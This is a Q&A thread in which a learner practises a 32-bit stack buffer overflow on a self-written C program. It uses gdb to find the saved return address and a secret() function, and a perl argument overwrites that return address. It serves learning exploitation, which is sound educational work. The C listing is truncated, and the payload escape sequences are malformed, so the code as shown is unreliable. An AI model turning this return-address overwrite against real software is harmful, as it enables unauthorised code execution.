I understand the principles of exploiting a classical stack-based buffer-overflow, and now I want to practice it. Therefore I wrote the following test-application:

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void public(char *args) {
    char buff[12];
    memset(buff, 'B', sizeof(buff));

    strcpy(buff, args);
    printf("\nbuff: [%s] (%p)(%d)\n\n", &buff, buff, sizeof(buff));

void secret(void) {

int main(int argc, char *argv[]) {
    int uid;
    uid = getuid();

    // Only when the user is root
    if (uid == 0)

    if (argc > 1) {
        printf("Kein Argument!\n");

When the user which starts the program is root, the method secret() is being called, otherwise, the method public(...) is being called. I am using debian-gnome x64, so I had to compile it specifically to x86 to get x86-assembly (which I know better than x64). I compiled the program with gcc: gcc ret.c -o ret -m32 -g -fno-stack-protector

Target: I want to call the method secret() without being a root-user. {To do that I have to overwrite the Return Instruction Pointer (RIP) with the address of the function secret()}

Vulnerability: The method public(...) copies the program-args with the unsafe strcpy() method into the char-array buff. So it is possible to overwrite data on the stack, when the user starts the program with an arg > 11, where arg should be the length of the string-arg.

Required Information:

  • The address of the function secret().
  • The address of the first buffer's first element. Due to ASCII-Encoding I know that each char has a size of 1 byte, so that the buffer's last element is 12 bytes ahead the first element.
  • The address of the RIP, because I have to overwrite it secret()s address.
  • OPTIONAL: It also helps to know the address of the Safed Frame Pointer (SFP).

Methodical approach:

  • Load the program into gdb: gdb -q ret.
  • To get an overview of the full stack-frame of the method public(...) I have to set a breakpoint there, where the function-epilogue starts. This is at the enclosing brace } at line 11.
  • Now I have to run the program with a valid arg: run A.
  • At the breakpoint, I now want to view the stack-frame.

    (gdb) info frame 0
    Stack frame at 0xffffd2f0:
     eip = 0x804852d in public (ret.c:11); saved eip = 0x804858c
     called by frame at 0xffffd330
     source language c.
     Arglist at 0xffffd2e8, args: args=0xffffd575 "A"
     Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
     Saved registers:
      ebp at 0xffffd2e8, eip at 0xffffd2ec

    Because from that I can gather the following information:

    • The RIP is located at 0xffffd2ec and contains the address 0x804858c which contains the instruction 0x804858c <main+61>: add $0x10,%esp.
    • The SFP is located at 0xffffd2e8.
    • Now I need the address, where the secret()-function starts:

      (gdb) print secret $2 = {void (void)} 0x804852f

  • Last, but not least I get the buffer's address:

    (gdb) print/x &buff
    $4 = 0xffffd2d4
  • To sum it up:

    • RIP is at 0xffffd2ec.
    • SFP is at 0xffffd2e8.
    • buff is at 0xffffd2d4.

This means that I would have to run the program with 0xffffd2ec - 0xffffd2d4 + 0x04 = 28 bytes (= chars).

So, to exploit it I'd have to run the program with an arg which is 28 bytes long whereas the last 4 bytes contain the address of the function secret() (and pay attention to little-endian-ordering):

(gdb) run `perl -e '{print "A"x24; print "\xec\d2\ff\ff"; }'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/patrick/Projekte/C/I. Stack_Overflow/ret `perl -e '{print "A"x24; print "\xec\d2\ff\ff"; }'`

                                   f] (0xffffd2b4)(12)

Program received signal SIGSEGV, Segmentation fault.
0x0c3264ec in ?? ()

Two questions are rising up:

  • Why is it not working. This example is basically from an older book I'm reading. But theoretically it should work so I think....

  • Why is between buff and the SFP a 8-byte gap? What does this memory-area contain?

EDIT: That's a download-link to the binary.

  • It would help if you could provide a link to the binary. Oct 4, 2015 at 16:39
  • Thanks that you want to help me! That's the link to the binary.
    – JDoens
    Oct 4, 2015 at 17:52

1 Answer 1

  • Why is it not working. This example is basically from an older book I'm reading. But theoretically it should work so I think....

It's because you're overwriting the return address on the stack with 0xffffd2ec instead of 0x0804852f (the latter is the address for secret()).

If you thus use '{print "A"x24; print "\x2f\85\04\08"; }' instead, it should work.

  • Why is between buff and the SFP a 8-byte gap? What does this memory-area contain?

That gap is probably because of attempted optimizations made by gcc. The memory-area contains nothing (well, technically it contains 8 bytes whose values are indeterminate) and the code in the public() function neither reads from nor writes to that memory-area.

  • Thanks! You are right, I did not overwrite the RIP with secret()s address. But you forgot to reverse the byte-order (it's little-endian).
    – JDoens
    Oct 4, 2015 at 20:24
  • Good catch; just fixed the byte-order. Oct 4, 2015 at 21:03

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